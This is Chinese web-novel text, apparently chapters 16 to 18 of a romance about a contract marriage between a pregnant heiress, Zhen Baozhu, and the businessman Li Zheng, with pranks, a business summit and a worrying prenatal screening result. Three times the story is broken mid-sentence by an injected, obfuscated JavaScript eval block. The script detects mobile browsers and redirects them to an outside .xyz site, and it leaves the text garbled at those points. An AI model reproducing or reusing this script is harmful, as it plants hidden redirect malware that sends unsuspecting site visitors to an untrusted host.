甄宝珠甩着湿发走了两步又停下,“还有我告诉你,我们是假情假意结婚,不能真枪实弹做.爱,你别对我想入非非。” 黎铮凝眉,放在膝上的手指尖蜷收。 那片湿印让他换了整套衣服。 到底是谁想入非非… * 黎铮这次出差走了一周,晚上带甄宝珠出去吃了顿饭,本来定了玉楼,但甄宝珠前些天重温《天下无贼》,又吵着闹着要吃烤鸭。 甄宝珠难得胃口好,吃得快卷得慢,死手跟不上趟。 黎铮坐在她对面,慢条斯理卷好放进她盘中,她咬了一口又放下,皱眉道:“我不吃葱,烧胃,给我包山楂蘸白糖。” 黎铮闭眼忍了忍,重新包了个形状完美的口袋小饼,甄宝珠一口吃下,腮帮子撑得鼓鼓的,一脸满足,嘴角沾了酱汁也没发觉。 “我走这些天你都没吃饭吗?”黎铮言外之意是她的吃相一点儿都不大家闺秀。 她好不容易把那口烤鸭咽下去,“我最近胃口差,这个小混蛋在我肚子里折腾了三个多月,好不容易今天能多吃点儿,你少给我上淑女课堂…” 甄宝珠一直很烦当淑女,大家闺秀统一标准都是人们臆想出来的,觉得有钱一定有好品行,她从小父母不在身边,干什么都不受规训,自然不把这些思想裹脚布放在眼里。 女孩子来到这个世界当然是为了享受的。 黎铮刚把新包好的饼夹起准备吃,一抬眼甄宝珠就把嘴巴张得圆圆的等着,“快喂我嘴里,啊~” 黎铮沉了沉气,把精心包好的烤鸭送进她红润的嘴巴里。 一顿饭下来,黎铮没吃着什么,甄宝珠却又撑得走不动。 结账时,收银员的目光总是看着甄宝珠,甄宝珠习惯了走到哪里都吸引目光的美貌,大方地挥了挥手,还给了一个招牌甜笑。 她正沉浸在自恋里,黎铮在她耳边轻声道:“你下巴还有酱汁。” 甄宝珠如临大敌,迅速拿出小镜子,果然没擦干净,她瞥眼瞪着黎铮:“你好歹毒,明明早看到了就不提醒我,要等别人也看到我出糗。” 黎铮眉眼也染了一丝笑意,说:“你说了,不让我给你上课。” 甄宝珠蔑了一眼,抽出黎铮胸前的方巾擦了擦,又把方巾重重扔回他手心。 饭店旁边正好有家母婴店,甄宝珠拉着黎铮进去说要消消食。 她迅速被店里那些毛绒绒的婴儿衣和软绵绵的小袜子软化了心,恨不得全买下来。 店员热情洋溢,全程跟在她身后,把黎铮晾在一旁。 “现在几周了?四个月多了吧?” 甄宝珠摸了摸吃撑的肚子,“只有三个月。” 店员又看了看她的肚子,直勾勾的眼神让她有些不舒服,抬手用小衣服挡着肚子。 “别看了,肚子里一半是饭。” “哦,我看你这肚子,像怀男孩。”店员笑道。 甄宝珠不在意是男孩还是女孩,也没打算去查,她自顾自往前走,挑了几套小衣服,在店员的焦虑营销下又买了几瓶预防妊娠纹的精油,顺手拿了几件孕妇文胸。 黎铮当时正在卖婴儿车、婴儿床的区域对比研究,甄宝珠把婴儿衣拿出来向他展示,“你看,婴儿衣服居然这么小,面料还软软的,我都想穿了。” 黎铮把婴儿衣拿在手上,小衣服也就他两双手掌大小,他脸上也露出会心微笑。 他本想再看看婴儿床,甄宝珠推他去结账,“看这个有什么用嘛,反正生下来我们就该离婚了。” 他看着甄宝珠无所谓的表情,心情忽然像股票急跌。 没有人结婚是为了离婚。 但他和甄宝珠是。 是这些可爱的婴儿衣服让他短暂忘却了这一点。 结账时,店员笑眯眯地说:“爸妈都长得好看,你们的孩子一定很可爱。” “……”甄宝珠忽然觉得有些尴尬。 黎铮倒是没说什么,好像很习惯准爸爸的身份。 “办个会员吧,可以享受折扣,我们店里还会定时推送一些孕期知识,也会请专家来讲生产育婴课。” 黎铮用征询的目光看着甄宝珠,甄宝珠想了会儿说:“行。” 黎铮给她办了充值卡,一次性充了店里最高的额度,店员乐得心里开花。 甄宝珠留下了自己的电话,店员又问黎铮:“准爸爸的电话也留一下吧,我们的会员小程序可以全家绑定,也会给准爸爸推送一些照顾孕妇的知识。” 黎铮犹豫片刻,念出一串数字。 甄宝珠奇怪,“这个电话怎么和我存的不一样?” 黎铮淡淡道:“私人号码。” 甄宝珠:“……” 合着结婚了她还不知道他有两个号码,他给她留的竟然是工作号码。 她有些尴尬,在他腰上偷掐了一把,“黎总,你可真行。” * 回到家,甄宝珠把小衣服都摊开,一件件重新欣赏,在脸上蹭了蹭,然后就全都扔进了衣帽间。 黎铮冷眼旁观,“这么快就腻了?” 甄宝珠白他一眼,“明天我再出去买一批,你有意见?” “没意见,随便你。”黎铮抬脚往书房走。 “站住,”甄宝珠拿着手机命令道:“把你的私人号码再说一遍,刚才没记住。” 黎铮拿出手机按了几个数字,不一会儿甄宝珠的手机就响了。 黎铮说:“我能记住你的就行了,没事别打电话骚扰我。” 知道黎铮私人号码的人一双手就数得过来,他本意就是防骚扰,结果当天晚上骚扰短信就出其不意地溜进他的手机。 【空虚寂寞,小暖帮你,电话……】 他当时没理会,以为是甄宝珠的恶作剧,可是当他从书房出来,甄宝珠人在楼上洗澡,手机被她扔在楼下沙发上。 这时,他又收到一条短信。 【老婆孕期,寂寞难耐,就到沐足堂,技术好,可外卖……】 * 第二天趁黎铮去公司,甄宝珠又偷偷摸进他书房翻箱倒柜,终于被她找到一个神秘档案袋。 一拆开,她在街头喝酒的照片就掉了出来,其余资料都是关于她的,她的家庭树、甄家的发家史、连她爷爷喜欢什么都条条尽列。 “不就结个婚,需要查我祖宗十八代吗?” 甄宝珠拿起照片欣赏片刻,怀念肆意洒脱的时光。 曾经她世界各地游山玩水,现在连酒都不能喝一口,曾经她的细腰盈盈可握,现在她穿牛仔裤都勒得慌。 越想越觉得太不公平,凭什么黎铮就能查到她的一切,而她查黎铮却只能查到他公司地址,她在黎铮眼里几乎是透明的,但她看黎铮还是隔着一堵戒备森严的厚墙。 必须得找到那些不可告人的秘密。 午饭后她和游悠约了一起去购物,她在商场只看休闲宽松的衣服,被游悠指点:“知道了嘛甄宝珠,生孩子是要牺牲身材的,S号已经离你远去,XL正在向你招手。” 甄宝珠拿起小号裙子在身上比划又悻悻放下。 游悠发现她情绪不好,又安慰她,“你还是有魅力的,陈书禾你记得吧?四人约会之后,是他和刘白说想拉个群聊,我猜他是为了加你微信,我早给你算过了,孕期也有桃花。” 甄宝珠拍了一下游悠的脑袋瓜,“我还没说你呢,你那天怎么不实话告诉他,人家都不知道我怀孕,你知道当时多尴尬吗?” 游悠更乐了,“他如果真觉得尴尬就不会想加你微信了,反正我已经告诉他了,你是假结婚没感情,一年以后就要离的。姐妹我都是为你考虑,你想想,你生下孩子和黎铮离婚,立马就能接手一个男大,现在就先养在手机里调剂生活呗,我看他也挺服从调剂的。” 听到离婚这个词儿,甄宝珠心里莫名咯噔一下。 没有人结婚是为了离婚。 但她和黎铮是。 她忍不住怼游悠,“你的嘴怎么比复兴号还快?” 见甄宝珠真的生气了,游悠为保住岌岌可危的嫡长闺位置,只能割地赔款。 “生气了?今天你的消费我全包还不行,就当干妈给孩子做点儿贡献。” “...这还差不多,”甄宝珠一听这话,又挽住游悠的胳膊怕她半路跑了。 游悠也笑了,对着甄宝珠的肚子说:“乖宝,干妈给你买衣服,晚上能赏脸一起吃饭吗?咱们来一场五人约会,反正你那个临时daddy也不在。” 甄宝珠从买新衣服的雀跃中清醒过来,问:“你怎么知道黎铮不在?” “今天下午他要和我爸爸签合同,晚上他们一起吃饭。” 甄宝珠眼珠一转,“那就是说...他下午不在公司?” 如果黎铮的秘密不在家里,一定就是藏在公司,这是个突击检查的好机会。 游悠有点儿懵,“应该吧,我跟你说吃饭的事儿,你想什么呢?” 甄宝珠让人迅速给她打包衣服,“不试了,身上这件吊牌给我剪下来。” 店员提着大包小包跟在甄宝珠身后,甄宝珠跟游悠挥挥手,“今天不吃了,我有事先走,你留下结账啊。” 游悠看着她急匆匆的背影目瞪口呆,花了这么多钱,这家伙一点儿情绪价值都没给她反馈。 * 甄宝珠以老板娘的姿态出现在黎铮公司楼下,前台也没人敢拦她,上楼就有总助室的秘书迎上来。 “黎太太,您怎么来了?” 甄宝珠听这称呼感觉别扭,“叫我甄小姐,或者宝珠小姐,黎总在吗?” “黎总半小时前刚走......” 甄宝珠定在黎铮办公室前,抬手一指紧闭的门,“那好,给我开门。” 秘书有些为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14448028|153794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难,“黎总说过,没有他的允许,谁都不能进他的办公室...要不,您先打个电话?” 甄宝珠不耐烦地把猫眼墨镜摘下,目光扫过秘书的脸,“黎总是出去了,还是在办公室藏人了?” “没没没,”秘书连忙摆手,“黎总真的出去了。” 甄宝珠再次懒懒抬手,“打、开。” 为了黎总家庭和谐,秘书还是把门给打开了,他面色紧张,紧跟在甄宝珠身后。 甄宝珠巡视一圈,慵懒得坐在黎铮的椅子上,目光瞥向桌下的保险柜,抬头对秘书莞尔一笑,“行了,你出去吧,我在这儿等他回来。” “要不我帮您给黎总打个电话?他没准不回来...” “不用,我会和他联系,你还站在这儿干嘛?出去工作。”她模仿着黎铮的口气赶人出去。 秘书走后,她鬼鬼祟祟蹲下研究黎铮的保险柜,竟然是那种老式的数字密码锁。 奇怪了,家里又是安保又是科技,公司就整这么个破密码锁? 她猛地抬起头,立刻就发现保险柜正上方的高清摄像头,仿佛一只鬼眼盯着她。 甄宝珠:“......你就监视吧,你给地球装个电子眼得了呗......” 高清摄像头也没能挡住她的好奇心,甄宝珠先输入123456,第二次输入888888,第三次输入黎铮的生日。 “啪嗒。” 保险柜打开了。 这密码...这么简单吗? 她伸手进去摸了摸,里面空空荡荡没有金条,只摸到一个黑色硬盘。 甄宝珠把硬盘装进包里,带出了远征集团。 一路上她欣喜若狂,迫不及待连上她的笔记本电脑,却发现那是个加密硬盘。 她想起游悠的小男朋友是计算机专业的,就把硬盘给了游悠,两人像地下党接头似的。 甄宝珠对她千叮咛万嘱咐:“刘白解码的时候你一定要在旁边看着,硬盘里的重要内容绝对不能外泄。” * 晚餐前黎铮就提前回了家,当时甄宝珠正趴在床上翘着腿打游戏。 黎铮站在她卧室门口,静静看着她。 她早听到了脚步声,但她装作无事发生,连头都不抬。 “那个母婴店你别再去了。”黎铮说。 “为什么?”她漫不经心问道。 “别问了,公司法务部准备以泄露客户信息起诉她们,现在在收集证据阶段。”黎铮停顿了下,“以后出去买母婴用品,如果需要留电话,把我的电话和你的对调一下。” 甄宝珠也懒得多问,表现得十分乖巧。 “好。” “听说你去我办公室了?” 黎铮的语气很坚定,根本不像是问句。 “嗯。” “拿了什么东西?” 甄宝珠不用看他的脸就能想象到他正在努力克制怒意,她抬起头,笑吟吟问他:“你紧张什么?” 黎铮回敬她一个冷冰冰的笑容,“我当然是紧张你,回来的路上,你不冷吗?” 甄宝珠忽然耳根发烫,腿也往被窝里收了收。 当时黎铮接到秘书的电话,打开监控软件,摄像头实时显示甄宝珠赤脚站在椅子上,对着摄像头挥了挥手,下一秒屏幕就黑了。 他推掉晚上的会餐,回到办公室甄宝珠人已经不见了,他下意识抬眸看了一眼摄像头。 一条黑色蕾丝内裤挂在上面。 他沉了口气,“甄宝珠,你好大的胆子。” 甄宝珠侧身一躺,手臂弯起,手背支着脸颊,调笑道:“这不是我们夫妻间的情趣吗?” 睡衣下的玲珑曲线,白净修长的小腿配上暗含挑衅的笑容,在黄昏光晕中令人迷惑。 黎铮目光沉沉,唇边蓦地挑起一缕笑意。 他走进卧室反手关上房门,越过甄宝珠的床沿,双手将窗帘拉了个严严实实。 卧室忽然变得昏昏暗暗,空气中颤动着甄宝珠略显局促的呼吸声。 “你干嘛?”甄宝珠坐起来裹紧睡衣,扯过薄被盖在自己身上。 黎铮仍不说话,松了松领带,坐在甄宝珠的床边,俯身靠近,伸开手臂把她整个人向自己的方向挪了一寸。 属于黎铮的气息强烈地侵占她的底盘。 他身上的味道是一杯深度烘焙的意式咖啡,烟熏调的苦涩,粗糙如砂砾的余味,让人一闻到就条件反射似的认为这个人应该打起精神来对付,不能有一丝怠慢,也尝不到一丝甜头。 甄宝珠不停往上滑,背脊紧贴床头,脱口而出:“我现在是孕早期,你别过来啊。” 他手掌撑在床头,低语:“你要的情趣我给你了,我要的你能给我吗?” 他的嘴唇快要碰到甄宝珠的耳垂,低哑的声音传入神经,白皙的皮肤激起一层细小颗粒。 甄宝珠的手不知道该往哪里放,用胳膊抵住他凑近的胸口,“不行,不行,孕早期不行的。” 他冷冷笑了一声,“想入非非的是你吧?我要你把我的硬盘拿回来。” 甄宝珠:“???” 甄宝珠眨着眼看着黎铮,感觉他虽然没脱她衣服,但又把她玩儿了。 黎铮早已站起身,耳边的滚烫也远离了她,却让她心里一阵空虚。 “明天早上我要见到硬盘。”黎铮整理好西装,走到门口又停住脚步,“我也提醒你一下,我们是假情假意结婚,不能真枪实弹…” 那两个字他说不出口。 床上的枕头飞了过来,黎铮偏头躲开,留下一脸凌乱的甄宝珠。 她恨恨地把门摔上,立刻打开手机致电游悠,她一定要扳回一局。 “硬盘解码了吗?” 对面响起陈书禾的声音:“姐姐,游悠去卫生间了,刘白和我在一起解码,你介意吗?” 她也管不了许多,“不介意,说结果。” “硬盘里有一个txt文件。” “然后呢?” “名称是......《孕期知识大全》。” “......” “姐姐,这应该不是什么重要文件吧,我们还没打开。” “打开。”甄宝珠仍不死心 陈书禾顿了顿,听筒里传来鼠标点动的声音,“副标题是,献给宝珠小姐。” 挂断电话,甄宝珠捏着手机往床上狠狠一砸,在被子里狂蹬乱踹。 “啊啊啊!黎铮!我一定要杀了你!!!” 声音响彻整座别墅区,保镖闻声而动,却接到黎铮的电话,说不用过来了。 “可是,黎总,我们听到了...” 黎铮难得心情很好,“表达一下情绪而已,不是真杀。” 17. 第 17 章 黎铮对她早有防备,甄宝珠既然查了家里,就会查公司,他把每一步都算得很精准,专门为她准备了《孕期知识大全》,只是仅能听到她的声音,看不到她气急败坏的小表情,有点儿遗憾。 就像他说的,夫妻之间相互博弈才有意思,因为他会始终占上风。 但也不一定,如果小公主很记仇的话。 最近黎铮要参加一个投资界的高峰论坛,还要代表青年企业家演讲。 当天甄宝珠也打扮得端雅大方,黎铮出门时,她也跟着出门,黎铮从右侧车门上车,她自己拉开左侧车门跳上车。 “我都要无聊死了,你带我去玩玩儿嘛,我不会给你丢人的,毕竟我也是商学院毕业的。” 黎铮平静地看着甄宝珠,“你是商学院肄业。” 她的假毕业证骗骗家人还差不多,黎铮手上可是有她祖宗十八代的资料。 甄宝珠小声叨叨,“就这么点儿黑历史,你就不能不说...” 黎铮拒绝,“会场人多,我可能顾不到你,磕碰了谁来负责?” “我自己负责,我超乖的。”甄宝珠眨巴着水汪汪的杏眼对天发誓。 黎铮放在膝上的手指叩了叩,经不起她死皮赖脸,无可奈何点头答应。 * 俊男靓女的组合吸引了会场大部分人的目光,黎铮和甄宝珠手挽手出现震惊了许多人,他们的婚讯从未公布过,此时也迎来议论纷纷。 “这就是黎总的新婚妻子?怎么都显怀了?” “这不是甄家的女儿?早些年出国那个。” “没听到风声呀,婚礼邀请你了吗?” 甄宝珠一袭黑裙像高贵骄傲的黑天鹅,黎铮实在无法把在家撒泼打滚的锦毛鼠和眼前的气质美人联系在一起。 甄宝珠款款落座,一直都表现得矜持大方,可只有她自己知道,此时肚子里那个小混蛋正在攻击她的膀胱。 为了等黎铮上台,她在台下硬憋着。 好不容易等到黎铮上台,她从包包里拿出手机,打开摄像功能。 那画面看起来是意气风发的丈夫代表青年企业家演讲,台下怀孕的妻子骄傲自豪地拍摄下来,没准还会发到社交平台炫耀。 台上的黎铮见甄宝珠拿出手机,瞬间眼皮跳了一下,优雅的天鹅公主正用手机挡着半张脸,但眉眼之间是他熟悉的狡猾笑意。 黎铮翻开关林提前准备好的演讲稿,垂眸看去,演讲稿变成了烟熏妆的甄宝珠正在对他竖中指。 台下的甄宝珠眼皮一撩,挑起眉梢与台上的黎铮对视。 老娘不发威,你当我是小羊啊。 她正沾沾自喜,黎铮隔着人群,对她报以了然微笑。 黎铮合上“演讲稿”,清清嗓子,开始了一场脱稿演讲。 甄宝珠越听越觉得不对劲儿,从包里掏出他的演讲稿本稿,一个字一个字对下去,竟然一个字都不落。 他整天忙于工作,这样应付场面的演讲稿应该不会浪费时间去背的。 甄宝珠有点儿懵了,她不知道黎铮的脑子像内置照相机一样,看过一眼就能全记下来。 “......让我们赓续传统,共同携手,年轻一代必将战胜新的挑战。” 本来他的演讲稿到这儿也就结束了,黎铮望着甄宝珠,又加了一句话。 “当然,所有的荣誉都要归功于家人在‘背后支持’,我只付出了百分之一,剩下的百分之九十九都是我爱人在默默付出。感谢你,甄宝珠小姐。” 周围人的目光都投向甄宝珠,只有她能听出黎铮的暗讽,顿时尴尬地脚趾扣地,脸上还要僵硬地笑,向左右点头。 黎铮在掌声中稳重下台,落座甄宝珠身边,把她的手牵起,让她挽着自己的手臂。 “我说今天怎么非要跟着我呢,原来是想看戏。”黎铮侧眸,目光落在甄宝珠发烫的脸颊。 甄宝珠假惺惺笑着,动手扭了一下他的手臂内侧,“你别得意。” “失望了?再接再厉。” “闭嘴吧。” 黎铮不动声色护住她的手,把她的手指包回自己手心里,他知道甄宝珠一破防就要动手。 旁人看来小两口是情真意切难舍难分,刚下台就牵小手。 * 甄宝珠趁着别人演讲途中跑去洗手间,对着镜子恨恨地补口红,一转身,碰到了她十分不想看到的人——柳尚惠。 自从那日夜店之后,她还见过柳尚惠,没想到他竟然也能代表柳氏集团参加这场高峰论坛。 甄宝珠瞪柳尚惠一眼,甩了甩手,把水渍都溅在他的西装上,往前走了两步,他却挡在她面前。 柳尚惠脸上泛起古怪的笑容,“甄宝珠,你挺厉害呀,前段时间刚回国,这就显怀了?” 甄宝珠拿柳尚惠的西装抹了抹手,“心情不好,你别惹我,赶紧滚开。” 柳尚惠不依不饶,“先毁了我的婚约,后毁了我的合约。宝珠妹妹,这就要走?” “什么合约?你的狗嘴再说什么狗话?”甄宝珠没拿正眼看他。 “黎铮的投资合同本来是要和柳氏集团签的,却被你哥哥甄世明截胡,我当是因为什么呢,没想到甄家不和我们联姻是拜高踩低,看不上我们家那点儿钱想钓大鱼。” 甄宝珠哼笑一声,“看不上你们家那点儿钱是真的,为什么不和你们联姻你心里没点儿数?不是所有人都像你一样猥琐,下流的人眼里果然都是脏儿事。” 柳尚惠顶了顶腮,攥住她的手腕,狠道:“把你拍的照片交给我,不然我可就要怀疑你这孩子是谁的了?你以为你是什么好东西吗?” 甄宝珠挣了挣手腕,“放开我,别让我大嘴巴抽你。” 刚要抬手抽他,她就被身后的力量攥住手腕。 黎铮握住她的手将她带至身后,挺拔的身形站在柳尚惠面前,目光像一把锐器刺进柳尚惠眼里。 “甄宝珠是什么样的人,柳总难道比我这个丈夫更清楚吗?” 柳尚惠气势减弱,但仍愤愤不平,“黎总,我只是想问一下,您最后为什么没有选择我们集团?” 黎铮冷冷道:“你这样对我的妻子,还用问吗?这种事情再发生一次,我向你保证柳氏集团的股票会比你现在的脸色还难看。” 黎铮扔下话就拉着甄宝珠离开现场,留下柳尚惠错愕不已。 * 车子驶离会场,甄宝珠质问黎铮:“你刚才为什么不让我抽他?” “暴力能解决所有问题吗?”黎铮反问:“你抽他一巴掌有什么用,如果我不在,他会不会还手打你也未可知吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458163|153794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 甄宝珠怒气未平,抱着胳膊,偏腿挪身,离他远远的。 用枪瞄胸口,拿刀捅要害。 对一个刚上市的集团来说,股票暴跌能要柳尚惠的命。 但甄宝珠正上头不会理解这些道理。 黎铮短叹一声,“别生气了,你总是那么冲动,不怕动了胎气?” 一句话又捏住了甄宝珠的软肋,她立刻盘腿做深呼吸。 吸气、呼气。 世界如此美妙~ 调整好状态,她才转过头来,“听说你也是商学院毕业的?你...能不能教教我?” 黎铮目光睨过来,“要和我化敌为友?” “算了,我知道我斗不过你,想跟你学两招,毕竟以后我也要继承产业当老板的。”甄宝珠泄气道。 君子报仇十年不晚。 跟你学两招,以后再来斗你。 “那请问宝珠小姐,我今天被换掉的演讲稿算什么?”黎铮唇角漾起笑意。 “算你倒霉。你最好也收敛一点儿,不然我的写真集将出现在你签的每一份合同上。” 宝珠小姐的软话只能说一句。 黎铮挑眉,像是猛然想起了什么。 “哦对了,我劝你早点和家人摊牌,今天你陪我出席活动,新闻会报道,别让甄叔叔措手不及,我们夫妻同体,就算倒霉也要一起倒霉。” 甄宝珠忽然回想起,他特意在最后对她指名道姓地致谢,“......黎铮,你是不是又在阴我?” 黎铮微笑不语,那张脸怎么看怎么欠揍。 * 没出意外,甄宝珠当天被越洋电话骂了一个晚上,有甄世明“珠玉在前”,老两口心理承受能力增强不少,甄宝珠做出荒唐事也是意料之中。 最让她无语的是爸爸竟然相信黎铮是根红苗正的好青年,连演讲都特意感谢她,而她是一个受资本主义思想毒害的不良少女。 偷偷领证结婚一定是她的馊主意。 虽然这是事实,但父母话里话外的捧一踩一让她郁闷不已。 父亲骂了一晚上,母亲还是有点人性,在挂电话之前询问她怀孕的状况,嘱咐了两句,还说过几天要回来看看她。 老两口嘴硬心软,刚挂断电话,甄宝珠就收到了副卡提额的短信。 她美滋滋打开微信,给爸妈发了一串可爱表情包,又打开相册重新欣赏了一下黎铮的演讲视频,不得不说,黎铮在台上姿态挺拔,确实挺根红苗正的,演讲的时候更是闪闪发光。 甄宝珠忽然觉得他认真起来(不抬杠)的时候还是挺迷人的,尤其是他发现演讲稿被替换之后抬眼看甄宝珠还对着她笑,笑容里总有蛊惑人心的劲儿。 不知不觉,甄宝珠就看了三遍。 之后在她去浴室泡澡,捏着手机当话筒,大声模仿黎铮在台上的演讲,“所有的荣誉都要归功于家人在背后支持,我只付出了百分之一,剩下的百分之九十九都是我爱人在默默付出。” 她敞开手臂迎接未来,“啊,感谢你,甄宝珠小姐。” 手机忽然震动,跳出黎铮的微信消息。 【周三给你预约了唐氏筛查,别忘了。】 【还有,声音小一点。】 【保镖听到你在浴室演讲了。】 18. 第 18 章 对于甄宝珠“虚心”拜师,黎铮还是挺用心对待的,抽时间给她列了个学习计划,也是担心她无聊又到处搞事。 黎铮从书房拎出好几本陈年旧书,都是他曾经看过也做过笔记的,他本以为甄宝珠学习起来应该不吃力,先给她规定每天看100页,晚上回家他要抽查。 第一天,他回家就看到甄宝珠趴在书桌前苦读,本来还很欣慰,但仔细一看,书是只看了二十页的,旁边放的英文词典倒快被她翻烂了。 “什么破书,这一长串儿专业名词怎么读?” 第二天,他降低了阅读任务,让她只读50页,他打开家里监控抽检学习进度,甄宝珠从端端正正坐在书房,到四仰八叉躺在沙发,只用了一个小时。 第三天,黎铮对甄宝珠说:“你要不换个赛道吧?” 甄宝珠怒而扔书,把卸载三天的游戏又下了回来,打到深夜。 第四天一早,甄宝珠睡得昏天暗地,早就把做唐筛的事儿忘干净了,黎铮在楼下等了一个小时,最后不得已把她从床上拎起来。 她懒洋洋和黎铮来到医院,医生听完胎心询问她最近的情况。 “孕反好一些了,饭量也可以,但特别尿频,还总是觉得困,想睡觉。” 甄宝珠现在就困得睁不开眼,支着下巴走神儿。 “看出来了,”刘医生说:“先给你开检查单,抽血做唐筛吧。” 她瞬间清醒,眼睛睁大,脑子像被输入强制开机口令。 “抽...血?” “啊,怎么了?” “刘医生,上个月刚抽过。” “没错,下个月还得抽。”刘医生头都没抬。 “……” 甄宝珠攥着检查单走出诊室,脚步不停就往医院门外走,完全忽略了等在诊室外的黎铮。 黎铮拉住她的手臂,“干什么去?” 甄宝珠啰啰嗦嗦、念念叨叨:“干什么都行,不抽血。” 黎铮抬腕看表,眉头紧锁,“我还有工作,早上你已经耽误我时间了,赶紧上楼。” 甄宝珠一直退缩摇头,像一条被扯住尾巴的小鱼。 “别让我大庭广众扛你上楼。”黎铮咬牙威胁道。 甄宝珠在黎铮的挟持下慢吞吞上楼,生无可恋地坐在采血窗口外,磨磨蹭蹭伸出胳膊,一脸英勇就义。 黎铮也脱下西装,把一条胳膊伸给她,脸上仍是不耐烦的表情,“抓着我。” 甄宝珠悻悻捏着他小臂结实的肌肉,“你还有这种觉悟?” 如果不是为了娇气公主能好好配合节省时间,黎铮才懒得理她。 “记得闭眼,不看就不疼。” 甄宝珠立刻皱鼻子挤眼睛,眼皮儿粘得牢牢的,嫣红的嘴唇也紧紧抿着。 这么丑的表情,她还真不把他当外人。 他唇角刚向上翘起弧度,下一秒也笑不出来了。 让她抓,她真抓,抓得他整条胳膊差点不回血,指尖都麻了一瞬。 抽完血,黎铮刚想解开袖扣看看自己的伤势,娇气公主又哭得惨绝人寰。 旁边一小孩哥把他妈用来哄他的冰激凌递给黎铮,“叔叔,拿着吧,姐姐太吵了。” 黎铮举着冰激凌递在她嘴边,嫌弃地说:“小孩儿都笑话你,眼泪哗啦的,丑死了。” 甄宝珠哭着冲他喊:“你是不是人啊?我给你生孩子你说我丑,你这个渣男,我生完孩子就跟你离婚!” 走廊人来人往,此时目光都钉在黎铮身上,用眼神对他进行道德批判,甄宝珠还攥着黎铮的方巾擦眼泪,方巾下挡着她狡黠的眼神。 黎铮捂住她的嘴,恨得咬牙切齿,“甄宝珠,你别恩将仇报。” 甄宝珠擦擦眼泪,止不住抽噎:“那、那你…以后还敢不敢阴我了?” “现在是你阴我…” “哇啊...过不下去啦~”甄宝珠掰开他的手,哭得更大声了。 周围人越聚越多,几个大爷大妈交头接耳,在黎铮后背指指点点。 “不敢了。”黎铮认怂认得很痛快,“你能不能别演了?” 甄宝珠委屈巴巴看着黎铮,“那...你...告诉我爸妈,我根红苗正,你歪风邪气,你..是你骗我结婚的。” 眼看医院保卫科的人正朝着他们走过来,黎铮咬了咬牙,“行,我负荆请罪,到时候让你爸联合商界排挤我,让你爷爷拿瓷瓶砸我。” 甄宝珠的哭声小了一些,“那你还让不让我换赛道了?” “不换了,谁挡着你继承家业我灭谁,你满意了吧?” 甄宝珠瞬间止住哭声,手指弹去两颊的泪,眼睛挑起笑意,“走吧,黎总,我可算知道你怕什么了。” 烈女怕缠郎,黎铮怕流氓。 甄宝珠夺过他手上的冰激凌,还好心帮忙疏散围观群众。 “散了吧,散了吧,我们小两口好着呢。” * 那几天,甄宝珠心情舒畅,在家里猖狂得很,书也不看了,说费眼睛,让黎铮给她读。 黎铮无可奈何,他能想象到甄宝珠学会这一招,稍不顺心就跑出去哭转着圈儿给他丢人,用不了多久,全世界都会知道黎铮苛待新婚孕妻。 他忘了,现在甄宝珠丢脸就是他丢脸。 黎铮的嗓音读英文很好听,像新闻里的主播,但内容太过枯燥无味,让甄宝珠总犯困。 她说肚里孩子想休息,让黎铮搬个书椅坐在她床前读,她躺在软乎乎的床上,听着助眠男主播,入睡更快了。 别墅的保镖每晚都能从声音监测器里听到朗朗读书声,问了两次黎总是不是有异常情况。 黎总哑着嗓子又烦又倦,“以后把声音检测仪调整到80分贝。” * 这一周的舒心日子随着黎铮出差被打断,甄宝珠很怀疑黎铮是为了躲她才出差。 医院通知她去拿唐氏筛查的检验报告,去了之后医生拿着报告,面容严肃地对她说:“甄小姐,你做的唐筛结果是阳性。” 甄宝珠捏紧衣角,犹豫问道:“阳性…是什么意思?” “你怀的孩子是唐氏儿的风险很高,需要通过无创或者羊水穿刺来确诊。无创是抽血化验,羊水穿刺是取样羊水化验,相比无创,羊水穿刺准确性更高,可以查出所有染色体的异常,我建议你做羊水穿刺,现在技术也比较成熟,风险很小,你考虑一下。” 甄宝珠垂着眼帘,木然点头。 走出医院的时候,她整个人仍是懵的,胸口像被巨石压住,喘不过气。 她是一个从来不怪罪自己,只归咎别人的人。 但是那天她责怪自己,一定是因为她一直喝酒,作息不规律,身体不好,所以才会这样。 她和这个孩子相处了四个多月,时常被孕反折磨得很痛苦,也想过打掉孩子,但现在知道孩子可能无法留住,她心里空空的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472580|153794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明明是很优秀的基因,为什么会这样? 她不停问自己,不停怪罪自己。 她失魂落魄回到思懿庄园,家里空空荡荡。 “黎铮,你在家吗?” 没人回应她,她孤零零站在没开灯的房子里,仿佛全世界只有她一个人。 月亮趴在窗外偷看人间悲喜,微茫的光给不了任何温暖,反而放大了惨淡。 